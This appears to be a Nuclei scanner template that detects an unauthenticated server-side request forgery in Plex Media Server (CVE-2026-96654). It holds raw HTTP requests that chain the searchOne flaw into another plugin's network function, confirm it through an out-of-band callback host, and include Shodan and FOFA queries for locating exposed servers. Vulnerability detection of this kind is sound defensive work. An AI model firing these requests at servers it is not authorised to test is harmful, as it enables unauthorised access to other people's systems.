CVE-2026-96654: Plex Media Server < 1.43.3.10861 - Server Side Request Forgery

id: CVE-2026-96654

info:
  name: Plex Media Server < 1.43.3.10861 - Server Side Request Forgery
  author: maulanawirawan
  severity: medium
  description: |
    Plex Media Server before 1.43.3.10861 does not correctly neutralize URL values included in 'searchOne,' allowing an attacker to call other plugins' functions and supply their own parameters.
  impact: |
    Attackers can invoke other plugins' functions with arbitrary parameters, potentially leading to unauthorized actions or data access.
  remediation: |
    Upgrade to version 1.43.3.10861 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-96654
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96654
    - https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json
    - https://zmain.info/blog/plex2shell
    - https://github.com/code-zm/plex2shell
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-96654
    cwe-id: CWE-84
  metadata:
    verified: true
    max-request: 4
    vendor: plex
    product: plex_media_server
    shodan-query: port:32400 "X-Plex-Protocol"
    fofa-query: port="32400" && header="X-Plex-Protocol"
  tags: cve,cve2026,plex,oob,unauth,plex2shell,kev,vkev

variables:
  cid: "{{rand_text_alpha(10)}}"
  tok: "{{rand_text_alpha(12)}}"
  poc: "{{to_lower(rand_text_alpha(3))}}"

flow: |
  (function() {
    if (!http(1)) return false;
    var ver = template["plex_version"];
    if (!ver) return false;
    var p = ver.split(/[.\-]/);
    if (p.length < 4) return false;
    var ma = +p[0], mi = +p[1], pa = +p[2], build = +p[3];
    var vuln = (ma < 1) ||
               (ma === 1 && mi < 43) ||
               (ma === 1 && mi === 43 && pa < 3) ||
               (ma === 1 && mi === 43 && pa === 3 && build < 10861);
    if (!vuln) return false;
    try { http(2); } catch (e) {}
    if (!http(3)) return false;
    return http(4);
  })();

http:
  - raw:
      - |
        GET /identity HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "MediaContainer", "machineIdentifier")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plex_version
        internal: true
        part: body
        group: 1
        regex:
          - '<MediaContainer[^>]+\sversion="([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)'

  - raw:
      - |
        @timeout: 5s
        GET /player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier={{cid}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: {{poc}}
        X-Plex-Platform-Version: 1
        X-Plex-Product: {{poc}}
        X-Plex-Version: 1
        X-Plex-Device: {{poc}}
        X-Plex-Device-Name: {{poc}}
        X-Plex-Model: {{poc}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET /player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http%3A%2F%2F127.0.0.1%3A32400%2Fsystem%2Fagents%2Fz%2FsearchOne%3FmediaType%3D1%26lang%3Den%26identifier%3Dcom.plexapp.agents.thetvdb%252Ffunction%252FGetResultFromNetwork%253Furl%253Dhttp%253A%252F%252F{{interactsh-url}}%2523&port=1337&commandID=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: {{poc}}
        X-Plex-Platform-Version: 1
        X-Plex-Product: {{poc}}
        X-Plex-Version: 1
        X-Plex-Device: {{poc}}
        X-Plex-Device-Name: {{poc}}
        X-Plex-Model: {{poc}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true

  - raw:
      - |
        GET /player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{tok}}
        X-Plex-Client-Identifier: {{cid}}
        X-Plex-Platform: {{poc}}
        X-Plex-Platform-Version: 1
        X-Plex-Product: {{poc}}
        X-Plex-Version: 1
        X-Plex-Device: {{poc}}
        X-Plex-Device-Name: {{poc}}
        X-Plex-Model: {{poc}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(interactsh_protocol, "http", "dns")'
# digest: 4b0a00483046022100fa7c836eeeeda25fc3fd5c3895d543780ab353af665ccac85e135a26034890ea022100deb89802c30bf21acc77daba2b25f88f36ca19151435e165fe01e53d6c06aa3a:922c64590222798bb761d5b6d8e72950

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